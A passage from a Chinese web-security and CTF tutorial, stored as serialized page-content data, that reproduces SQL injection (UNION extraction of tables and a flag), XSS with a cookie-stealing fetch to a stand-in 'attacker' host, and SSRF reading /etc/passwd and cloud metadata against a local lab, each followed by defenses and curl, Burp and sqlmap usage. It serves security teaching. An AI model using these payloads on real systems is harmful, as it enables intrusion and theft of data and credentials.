并影响查询逻辑，而不是被框架做了过滤。",[15,12983,12984,12986,12987,12990,12991,12994],{},[138,12985,146],{},"：如果注入成立，那么：① 单引号会破坏 SQL 语法导致报错；② 追加 ",[29,12988,12989],{},"AND 1=1","（恒真）页面正常；③ 追加 ",[29,12992,12993],{},"AND 1=2","（恒假）查询结果为空。三者同时满足即可判定。",[15,12996,12997,12999],{},[138,12998,1685],{},"：逐条发送以下三个请求，对比输出。",[15,13001,13002],{},"输入 1：",[22,13004,13006],{"className":77,"code":13005,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n# 目的：在 id 后追加一个单引号，观察是否报错。\n# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[29,13007,13008,13018,13023,13028],{"__ignoreMap":27},[32,13009,13010,13012,13014,13016],{"class":34,"line":35},[32,13011,5464],{"class":86},[32,13013,5467],{"class":1461},[32,13015,5504],{"class":90},[32,13017,5473],{"class":1461},[32,13019,13020],{"class":34,"line":41},[32,13021,13022],{"class":2592},"# 目的：在 id 后追加一个单引号，观察是否报错。\n",[32,13024,13025],{"class":34,"line":47},[32,13026,13027],{"class":2592},"# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n",[32,13029,13030],{"class":34,"line":53},[32,13031,13032],{"class":2592},"# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[15,13034,13035],{},"预期输出：SQL 语法错误，例如：",[22,13037,13039],{"className":13038,"code":5513,"language":110,"meta":27},[108],[29,13040,5513],{"__ignoreMap":27},[15,13042,13043],{},"这说明我们的单引号进入了 SQL 语句并破坏了语法。",[15,13045,13046],{},"输入 2：",[22,13048,13050],{"className":77,"code":13049,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[29,13051,13052,13062,13067],{"__ignoreMap":27},[32,13053,13054,13056,13058,13060],{"class":34,"line":35},[32,13055,5464],{"class":86},[32,13057,5467],{"class":1461},[32,13059,5540],{"class":90},[32,13061,5473],{"class":1461},[32,13063,13064],{"class":34,"line":41},[32,13065,13066],{"class":2592},"# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n",[32,13068,13069],{"class":34,"line":47},[32,13070,13071],{"class":2592},"# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[15,13073,1224,13074,13076],{},[29,13075,5547],{},"（条件为真，正常返回）。",[15,13078,13079],{},"输入 3：",[22,13081,13083],{"className":77,"code":13082,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[29,13084,13085,13095,13100],{"__ignoreMap":27},[32,13086,13087,13089,13091,13093],{"class":34,"line":35},[32,13088,5464],{"class":86},[32,13090,5467],{"class":1461},[32,13092,5566],{"class":90},[32,13094,5473],{"class":1461},[32,13096,13097],{"class":34,"line":41},[32,13098,13099],{"class":2592},"# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n",[32,13101,13102],{"class":34,"line":47},[32,13103,13104],{"class":2592},"# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[15,13106,13107],{},"预期输出：空（条件为假，查不到数据）。",[15,13109,13110,13111,13113,13114,5585],{},"三个结果合起来：单引号报错、",[29,13112,5580],{}," 正常、",[29,13115,5584],{},[283,13117,13119],{"id":13118},"_34-利用union-拖数据","3.4 利用：UNION 拖数据",[15,13121,13122,13124],{},[138,13123,140],{},"：在确认注入后，把数据库里的表结构和数据\"借\"UNION 查询显示到页面上。",[15,13126,13127,13129,13130,13132],{},[138,13128,146],{},"：UNION 可以把两个 SELECT 的结果合并输出，但要求两边列数相同，且第一个查询最好返回空（用不存在的 ",[29,13131,5605],{},"），这样页面显示的就是我们构造的第二个查询。因此先数列数，再确定哪一列会回显，最后把要查的内容（库名、表名、flag）放到回显列上。",[15,13134,13135],{},"第一步，确定列数：",[22,13137,13139],{"className":77,"code":13138,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\n# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[29,13140,13141,13151,13156],{"__ignoreMap":27},[32,13142,13143,13145,13147,13149],{"class":34,"line":35},[32,13144,5464],{"class":86},[32,13146,5467],{"class":1461},[32,13148,5632],{"class":90},[32,13150,5473],{"class":1461},[32,13152,13153],{"class":34,"line":41},[32,13154,13155],{"class":2592},"# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n",[32,13157,13158],{"class":34,"line":47},[32,13159,13160],{"class":2592},"# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[15,13162,13163],{},"第二步，确认哪一列会回显：",[22,13165,13167],{"className":77,"code":13166,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[29,13168,13169,13179,13184,13189],{"__ignoreMap":27},[32,13170,13171,13173,13175,13177],{"class":34,"line":35},[32,13172,5464],{"class":86},[32,13174,5467],{"class":1461},[32,13176,5696],{"class":90},[32,13178,5473],{"class":1461},[32,13180,13181],{"class":34,"line":41},[32,13182,13183],{"class":2592},"# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n",[32,13185,13186],{"class":34,"line":47},[32,13187,13188],{"class":2592},"# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n",[32,13190,13191],{"class":34,"line":53},[32,13192,13193],{"class":2592},"# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[15,13195,1224,13196,13198],{},[29,13197,5703],{},"（数字 1 不显示，2、3 的位置可以显示内容）。",[15,13200,13201],{},"第三步，查数据库名：",[22,13203,13205],{"className":77,"code":13204,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[29,13206,13207,13217,13222],{"__ignoreMap":27},[32,13208,13209,13211,13213,13215],{"class":34,"line":35},[32,13210,5464],{"class":86},[32,13212,5467],{"class":1461},[32,13214,5722],{"class":90},[32,13216,5473],{"class":1461},[32,13218,13219],{"class":34,"line":41},[32,13220,13221],{"class":2592},"# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n",[32,13223,13224],{"class":34,"line":47},[32,13225,13226],{"class":2592},"# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[15,13228,1224,13229,320],{},[29,13230,1073],{},[15,13232,13233],{},"第四步，查表名：",[22,13235,13237],{"className":77,"code":13236,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n# WHERE table_schema=database()：只筛当前库的表。\n# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[29,13238,13239,13249,13254,13259,13264],{"__ignoreMap":27},[32,13240,13241,13243,13245,13247],{"class":34,"line":35},[32,13242,5464],{"class":86},[32,13244,5467],{"class":1461},[32,13246,5746],{"class":90},[32,13248,5473],{"class":1461},[32,13250,13251],{"class":34,"line":41},[32,13252,13253],{"class":2592},"# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n",[32,13255,13256],{"class":34,"line":47},[32,13257,13258],{"class":2592},"# WHERE table_schema=database()：只筛当前库的表。\n",[32,13260,13261],{"class":34,"line":53},[32,13262,13263],{"class":2592},"# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n",[32,13265,13266],{"class":34,"line":175},[32,13267,13268],{"class":2592},"# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[15,13270,1224,13271,320],{},[29,13272,5753],{},[15,13274,13275],{},"第五步，拿 flag：",[22,13277,13279],{"className":77,"code":13278,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n# 预期输出 flag{sql_injection}，即本题的答案。\n",[29,13280,13281,13291,13296,13301],{"__ignoreMap":27},[32,13282,13283,13285,13287,13289],{"class":34,"line":35},[32,13284,5464],{"class":86},[32,13286,5467],{"class":1461},[32,13288,5810],{"class":90},[32,13290,5473],{"class":1461},[32,13292,13293],{"class":34,"line":41},[32,13294,13295],{"class":2592},"# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n",[32,13297,13298],{"class":34,"line":47},[32,13299,13300],{"class":2592},"# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n",[32,13302,13303],{"class":34,"line":53},[32,13304,13305],{"class":2592},"# 预期输出 flag{sql_injection}，即本题的答案。\n",[15,13307,1224,13308,320],{},[29,13309,5817],{},[15,13311,13312],{},"说明：",[9774,13314,13315,13320,13330],{},[1829,13316,13317,13319],{},[29,13318,5605],{},"：让第一个查询返回空，UNION 的结果才显示第二个查询。",[1829,13321,13322,13325,13326,13329],{},[29,13323,13324],{},"--+","：URL 中解码后是 ",[29,13327,13328],{},"-- ","，即 SQL 注释，把后面代码注释掉。",[1829,13331,13332,13335],{},[29,13333,13334],{},"group_concat","：把多行拼成一行，方便一次性输出。",[283,13337,13339],{"id":13338},"_35-防御参数化查询","3.5 防御：参数化查询",[22,13341,13343],{"className":5231,"code":13342,"language":5233,"meta":27,"style":27},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n",[29,13344,13345,13349],{"__ignoreMap":27},[32,13346,13347],{"class":34,"line":35},[32,13348,6209],{},[32,13350,13351],{"class":34,"line":41},[32,13352,6214],{},[15,13354,13355,13356,13358,13359,13362],{},"此时输入 ",[29,13357,6253],{}," 只会被当作字符串 ",[29,13360,13361],{},"'1 OR 1=1'"," 去比较，不会改变语句结构。",[10,13364,13366],{"id":13365},"四核心漏洞-2xss完整复现","四、核心漏洞 2：XSS（完整复现）",[15,13368,13369,13371],{},[138,13370,140],{},"：理解\"用户输入被当 HTML/JS 输出\"这一漏洞，以及如何构造验证。",[15,13373,13374,13376,13377,13380,13381,13384,13385,13388],{},[138,13375,146],{},"：页面把 ",[29,13378,13379],{},"name"," 原样输出。如果我们传 ",[29,13382,13383],{},"\u003Cscript>alert(1)\u003C/script>","，浏览器会把它当脚本执行。判断方法：先看响应是否原样包含 ",[29,13386,13387],{},"\u003Cscript>"," 标签（用 curl），再用浏览器确认脚本真的执行。",[283,13390,13392],{"id":13391},"_41-平台与代码","4.1 平台与代码",[15,13394,13395,13396,1598],{},"任意 Web 应用。示例 ",[29,13397,13398],{},"xss.php",[22,13400,13402],{"className":5231,"code":13401,"language":5233,"meta":27,"style":27},"\u003C?php echo \"你好，\" . $_GET['name'] . \"！\"; ?>\n",[29,13403,13404],{"__ignoreMap":27},[32,13405,13406],{"class":34,"line":35},[32,13407,13401],{},[283,13409,13411],{"id":13410},"_42-正常请求","4.2 正常请求",[22,13413,13415],{"className":77,"code":13414,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/xss.php?name=alice\"\n",[29,13416,13417],{"__ignoreMap":27},[32,13418,13419,13421,13423,13426],{"class":34,"line":35},[32,13420,5464],{"class":86},[32,13422,5467],{"class":1461},[32,13424,13425],{"class":90},"http://127.0.0.1:8000/xss.php?name=alice",[32,13427,5473],{"class":1461},[15,13429,1348,13430,320],{},[29,13431,13432],{},"你好，alice！",[283,13434,13436],{"id":13435},"_43-注入脚本","4.3 注入脚本",[22,13438,13440],{"className":77,"code":13439,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>\"\n",[29,13441,13442],{"__ignoreMap":27},[32,13443,13444,13446,13448,13451],{"class":34,"line":35},[32,13445,5464],{"class":86},[32,13447,5467],{"class":1461},[32,13449,13450],{"class":90},"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>",[32,13452,5473],{"class":1461},[15,13454,1348],{},[22,13456,13458],{"className":6843,"code":13457,"language":6845,"meta":27,"style":27},"你好，\n\u003Cscript>\n  alert(1)\n\u003C/script>\n！\n",[29,13459,13460,13465,13474,13487,13496],{"__ignoreMap":27},[32,13461,13462],{"class":34,"line":35},[32,13463,13464],{"class":1127},"你好，\n",[32,13466,13467,13469,13472],{"class":34,"line":41},[32,13468,6852],{"class":1127},[32,13470,13471],{"class":1120},"script",[32,13473,1131],{"class":1127},[32,13475,13476,13479,13482,13484],{"class":34,"line":47},[32,13477,13478],{"class":86},"  alert",[32,13480,13481],{"class":1127},"(",[32,13483,6489],{"class":1016},[32,13485,13486],{"class":1127},")\n",[32,13488,13489,13492,13494],{"class":34,"line":53},[32,13490,13491],{"class":1127},"\u003C/",[32,13493,13471],{"class":1120},[32,13495,1131],{"class":1127},[32,13497,13498],{"class":34,"line":175},[32,13499,13500],{"class":1127},"！\n",[15,13502,13503,13504,13506,13507,13509],{},"浏览器会把 ",[29,13505,13387],{}," 当作代码执行。",[29,13508,5464],{}," 只是看响应，要看到效果需要用浏览器打开该 URL。",[283,13511,13513],{"id":13512},"_44-危害演示偷-cookie","4.4 危害演示：偷 Cookie",[15,13515,13516],{},"攻击者构造 URL：",[22,13518,13520],{"className":6843,"code":13519,"language":6845,"meta":27,"style":27},"http://127.0.0.1:8000/xss.php?name=\n\u003Cscript>\n  fetch('http://attacker/?c=' + document.cookie)\n\u003C/script>\n",[29,13521,13522,13527,13535,13556],{"__ignoreMap":27},[32,13523,13524],{"class":34,"line":35},[32,13525,13526],{"class":1127},"http://127.0.0.1:8000/xss.php?name=\n",[32,13528,13529,13531,13533],{"class":34,"line":41},[32,13530,6852],{"class":1127},[32,13532,13471],{"class":1120},[32,13534,1131],{"class":1127},[32,13536,13537,13540,13542,13545,13548,13550,13553],{"class":34,"line":47},[32,13538,13539],{"class":86},"  fetch",[32,13541,13481],{"class":1127},[32,13543,13544],{"class":1461},"'",[32,13546,13547],{"class":90},"http://attacker/?c=",[32,13549,13544],{"class":1461},[32,13551,13552],{"class":1120}," +",[32,13554,13555],{"class":1127}," document.cookie)\n",[32,13557,13558,13560,13562],{"class":34,"line":53},[32,13559,13491],{"class":1127},[32,13561,13471],{"class":1120},[32,13563,1131],{"class":1127},[15,13565,13566,13567,13570],{},"受害者打开后，浏览器会把受害者的 Cookie 发到 ",[29,13568,13569],{},"attacker"," 服务器。攻击者拿到 Cookie 即可冒充登录。",[283,13572,13574],{"id":13573},"_45-防御输出编码","4.5 防御：输出编码",[15,13576,13577],{},"输出前把危险字符转义：",[732,13579,13580,13590],{},[735,13581,13582],{},[738,13583,13584,13587],{},[741,13585,13586],{},"原始字符",[741,13588,13589],{},"转义后",[748,13591,13592,13603,13615,13626,13637],{},[738,13593,13594,13598],{},[753,13595,13596],{},[29,13597,6852],{},[753,13599,13600],{},[29,13601,13602],{},"&lt;",[738,13604,13605,13610],{},[753,13606,13607],{},[29,13608,13609],{},">",[753,13611,13612],{},[29,13613,13614],{},"&gt;",[738,13616,13617,13621],{},[753,13618,13619],{},[29,13620,6107],{},[753,13622,13623],{},[29,13624,13625],{},"&quot;",[738,13627,13628,13632],{},[753,13629,13630],{},[29,13631,13544],{},[753,13633,13634],{},[29,13635,13636],{},"&#39;",[738,13638,13639,13644],{},[753,13640,13641],{},[29,13642,13643],{},"&",[753,13645,13646],{},[29,13647,13648],{},"&amp;",[15,13650,13651,13652,13655],{},"PHP 用 ",[29,13653,13654],{},"htmlspecialchars()","，或使用默认转义的框架（Vue、React 默认转义插值）。",[10,13657,13659],{"id":13658},"五核心漏洞-3ssrf完整复现","五、核心漏洞 3：SSRF（完整复现）",[15,13661,13662,13664],{},[138,13663,140],{},"：理解\"服务器根据用户输入发起请求\"造成的危害，以及如何验证。",[15,13666,13667,1598,13669,13672,13673,13676,13677,13680,13681,13684,13685,13688],{},[138,13668,146],{},[29,13670,13671],{},"file_get_contents($url)"," 会按 ",[29,13674,13675],{},"$url"," 的协议去读内容。协议决定能力：",[29,13678,13679],{},"file://"," 读本地文件，",[29,13682,13683],{},"http://"," 访问内网，",[29,13686,13687],{},"gopher://"," 与内网 TCP 服务交互。验证方式：依次换三种协议，看响应内容。",[283,13690,13692],{"id":13691},"_51-平台与代码","5.1 平台与代码",[15,13694,13695,13696,1598],{},"具有\"URL 处理\"功能的应用。示例 ",[29,13697,13698],{},"ssrf.php",[22,13700,13702],{"className":5231,"code":13701,"language":5233,"meta":27,"style":27},"\u003C?php\necho file_get_contents($_GET['url']);\n// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n// 参数含义：$_GET['url'] 是用户可控的目标地址。\n// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n?>\n",[29,13703,13704,13708,13713,13718,13723,13728],{"__ignoreMap":27},[32,13705,13706],{"class":34,"line":35},[32,13707,5377],{},[32,13709,13710],{"class":34,"line":41},[32,13711,13712],{},"echo file_get_contents($_GET['url']);\n",[32,13714,13715],{"class":34,"line":47},[32,13716,13717],{},"// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n",[32,13719,13720],{"class":34,"line":53},[32,13721,13722],{},"// 参数含义：$_GET['url'] 是用户可控的目标地址。\n",[32,13724,13725],{"class":34,"line":175},[32,13726,13727],{},"// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n",[32,13729,13730],{"class":34,"line":181},[32,13731,5415],{},[283,13733,13735],{"id":13734},"_52-读本地文件","5.2 读本地文件",[22,13737,13739],{"className":77,"code":13738,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd\"\n# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n# 预期输出是 passwd 内容（root:x:0:0:...）。\n# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[29,13740,13741,13752,13757,13762],{"__ignoreMap":27},[32,13742,13743,13745,13747,13750],{"class":34,"line":35},[32,13744,5464],{"class":86},[32,13746,5467],{"class":1461},[32,13748,13749],{"class":90},"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd",[32,13751,5473],{"class":1461},[32,13753,13754],{"class":34,"line":41},[32,13755,13756],{"class":2592},"# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n",[32,13758,13759],{"class":34,"line":47},[32,13760,13761],{"class":2592},"# 预期输出是 passwd 内容（root:x:0:0:...）。\n",[32,13763,13764],{"class":34,"line":53},[32,13765,13766],{"class":2592},"# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[15,13768,1224],{},[22,13770,13773],{"className":13771,"code":13772,"language":110,"meta":27},[108],"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n",[29,13774,13772],{"__ignoreMap":27},[283,13776,13778],{"id":13777},"_53-探测内网端口","5.3 探测内网端口",[22,13780,13782],{"className":77,"code":13781,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306\"\n# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n# 通过逐个尝试端口，可以绘制内网服务清单。\n",[29,13783,13784,13795,13800,13805],{"__ignoreMap":27},[32,13785,13786,13788,13790,13793],{"class":34,"line":35},[32,13787,5464],{"class":86},[32,13789,5467],{"class":1461},[32,13791,13792],{"class":90},"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306",[32,13794,5473],{"class":1461},[32,13796,13797],{"class":34,"line":41},[32,13798,13799],{"class":2592},"# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n",[32,13801,13802],{"class":34,"line":47},[32,13803,13804],{"class":2592},"# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n",[32,13806,13807],{"class":34,"line":53},[32,13808,13809],{"class":2592},"# 通过逐个尝试端口，可以绘制内网服务清单。\n",[15,13811,13812],{},"输出为空或超时说明端口关闭；出现 MySQL 协议内容说明 3306 开放。",[283,13814,13816],{"id":13815},"_54-访问云元数据","5.4 访问云元数据",[22,13818,13820],{"className":77,"code":13819,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/\"\n# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[29,13821,13822,13833,13838,13843],{"__ignoreMap":27},[32,13823,13824,13826,13828,13831],{"class":34,"line":35},[32,13825,5464],{"class":86},[32,13827,5467],{"class":1461},[32,13829,13830],{"class":90},"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/",[32,13832,5473],{"class":1461},[32,13834,13835],{"class":34,"line":41},[32,13836,13837],{"class":2592},"# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n",[32,13839,13840],{"class":34,"line":47},[32,13841,13842],{"class":2592},"# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n",[32,13844,13845],{"class":34,"line":53},[32,13846,13847],{"class":2592},"# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[15,13849,13850],{},"云服务器上该地址返回临时凭证相关信息。这是 SSRF 最著名的利用点。",[283,13852,13854],{"id":13853},"_55-防御","5.5 防御",[22,13856,13858],{"className":5231,"code":13857,"language":5233,"meta":27,"style":27},"$allowed = ['https', 'http'];\n$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\nif (!in_array($scheme, $allowed)) die(\"not allowed\");\n// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[29,13859,13860,13865,13870,13875],{"__ignoreMap":27},[32,13861,13862],{"class":34,"line":35},[32,13863,13864],{},"$allowed = ['https', 'http'];\n",[32,13866,13867],{"class":34,"line":41},[32,13868,13869],{},"$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\n",[32,13871,13872],{"class":34,"line":47},[32,13873,13874],{},"if (!in_array($scheme, $allowed)) die(\"not allowed\");\n",[32,13876,13877],{"class":34,"line":53},[32,13878,13879],{},"// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[10,13881,13883],{"id":13882},"六必学工具-1curl","六、必学工具 1：curl",[15,13885,13886],{},"三个核心功能，逐个演示。",[15,13888,13889],{},"功能 1：带参数 GET。",[22,13891,13892],{"className":77,"code":5457,"language":79,"meta":27,"style":27},[29,13893,13894],{"__ignoreMap":27},[32,13895,13896,13898,13900,13902],{"class":34,"line":35},[32,13897,5464],{"class":86},[32,13899,5467],{"class":1461},[32,13901,5470],{"class":90},[32,13903,5473],{"class":1461},[15,13905,1348,13906,320],{},[29,13907,5547],{},[15,13909,13910,13911,9643],{},"功能 2：查看完整请求与响应（",[29,13912,12592],{},[22,13914,13916],{"className":77,"code":13915,"language":79,"meta":27,"style":27},"curl -v \"http://127.0.0.1:8000/vuln.php?id=1\"\n# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n# \u003C 开头是响应行与响应头，最后是正文。\n# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[29,13917,13918,13930,13935,13940],{"__ignoreMap":27},[32,13919,13920,13922,13924,13926,13928],{"class":34,"line":35},[32,13921,5464],{"class":86},[32,13923,12580],{"class":1016},[32,13925,5467],{"class":1461},[32,13927,5470],{"class":90},[32,13929,5473],{"class":1461},[32,13931,13932],{"class":34,"line":41},[32,13933,13934],{"class":2592},"# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n",[32,13936,13937],{"class":34,"line":47},[32,13938,13939],{"class":2592},"# \u003C 开头是响应行与响应头，最后是正文。\n",[32,13941,13942],{"class":34,"line":53},[32,13943,13944],{"class":2592},"# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[15,13946,13947,13948,13950,13951,13953],{},"输出中 ",[29,13949,13609],{}," 开头的是请求，",[29,13952,6852],{}," 开头的是响应，最下面是正文。",[15,13955,13956,13957,9643],{},"功能 3：POST 数据（",[29,13958,13959],{},"-d",[22,13961,13963],{"className":77,"code":13962,"language":79,"meta":27,"style":27},"curl -X POST \"http://127.0.0.1:8000/login.php\" -d \"username=admin&password=123\"\n",[29,13964,13965],{"__ignoreMap":27},[32,13966,13967,13969,13972,13975,13977,13980,13982,13984,13986,13989],{"class":34,"line":35},[32,13968,5464],{"class":86},[32,13970,13971],{"class":1016}," -X",[32,13973,13974],{"class":90}," POST",[32,13976,5467],{"class":1461},[32,13978,13979],{"class":90},"http://127.0.0.1:8000/login.php",[32,13981,6107],{"class":1461},[32,13983,1417],{"class":1016},[32,13985,5467],{"class":1461},[32,13987,13988],{"class":90},"username=admin&password=123",[32,13990,5473],{"class":1461},[15,13992,13993],{},"用于登录、上传等需要 POST 的场景。",[10,13995,13997],{"id":13996},"七必学工具-2burp-suite","七、必学工具 2：Burp Suite",[15,13999,14000],{},"图形化抓包改包工具（社区版免费）。三个核心模块：",[732,14002,14003,14016],{},[735,14004,14005],{},[738,14006,14007,14010,14013],{},[741,14008,14009],{},"模块",[741,14011,14012],{},"用途",[741,14014,14015],{},"操作步骤",[748,14017,14018,14033,14044],{},[738,14019,14020,14023,14026],{},[753,14021,14022],{},"Proxy",[753,14024,14025],{},"拦截请求",[753,14027,14028,14029,14032],{},"浏览器设置代理 ",[29,14030,14031],{},"127.0.0.1:8080","，安装 Burp 证书；访问目标时请求停在 Burp，可修改后 Forward",[738,14034,14035,14038,14041],{},[753,14036,14037],{},"Repeater",[753,14039,14040],{},"手工重放",[753,14042,14043],{},"拦截到的请求右键 → Send to Repeater；修改参数 → Send，右侧看响应，可反复对比",[738,14045,14046,14049,14052],{},[753,14047,14048],{},"Intruder",[753,14050,14051],{},"自动化遍历",[753,14053,14054],{},"请求中选中要爆破的参数，Add § 标记，加载字典，Start Attack，按响应长度排序找异常",[15,14056,14057],{},"用途对应：Repeater 调试 payload，Intruder 爆破密码或枚举 id，Proxy 观察真实请求。",[10,14059,14061],{"id":14060},"八必学工具-3sqlmap","八、必学工具 3：sqlmap",[15,14063,14064],{},"SQL 注入自动化工具。三个核心命令：",[15,14066,14067],{},"命令 1：检测。",[22,14069,14070],{"className":77,"code":6090,"language":79,"meta":27,"style":27},[29,14071,14072],{"__ignoreMap":27},[32,14073,14074,14076,14078,14080,14082,14084],{"class":34,"line":35},[32,14075,6097],{"class":86},[32,14077,6100],{"class":1016},[32,14079,5467],{"class":1461},[32,14081,5470],{"class":90},[32,14083,6107],{"class":1461},[32,14085,6110],{"class":1016},[15,14087,1471],{},[22,14089,14091],{"className":14090,"code":6116,"language":110,"meta":27},[108],[29,14092,6116],{"__ignoreMap":27},[15,14094,14095],{},"命令 2：列数据库。",[22,14097,14098],{"className":77,"code":6125,"language":79,"meta":27,"style":27},[29,14099,14100],{"__ignoreMap":27},[32,14101,14102,14104,14106,14108,14110,14112],{"class":34,"line":35},[32,14103,6097],{"class":86},[32,14105,6100],{"class":1016},[32,14107,5467],{"class":1461},[32,14109,5470],{"class":90},[32,14111,6107],{"class":1461},[32,14113,6142],{"class":1016},[15,14115,14116,14117,320],{},"预期输出：数据库列表，包含 ",[29,14118,1073],{},[15,14120,14121],{},"命令 3：导出数据。",[22,14123,14124],{"className":77,"code":6154,"language":79,"meta":27,"style":27},[29,14125,14126],{"__ignoreMap":27},[32,14127,14128,14130,14132,14134,14136,14138,14140,14142,14144,14146],{"class":34,"line":35},[32,14129,6097],{"class":86},[32,14131,6100],{"class":1016},[32,14133,5467],{"class":1461},[32,14135,5470],{"class":90},[32,14137,6107],{"class":1461},[32,14139,6171],{"class":1016},[32,14141,6174],{"class":90},[32,14143,6177],{"class":1016},[32,14145,6180],{"class":90},[32,14147,6183],{"class":1016},[15,14149,1224,14150,14152,14153,320],{},[29,14151,3314],{}," 表内容，即 ",[29,14154,5817],{},[10,14156,14158],{"id":14157},"九小-ctf-实战登录绕过","九、小 CTF 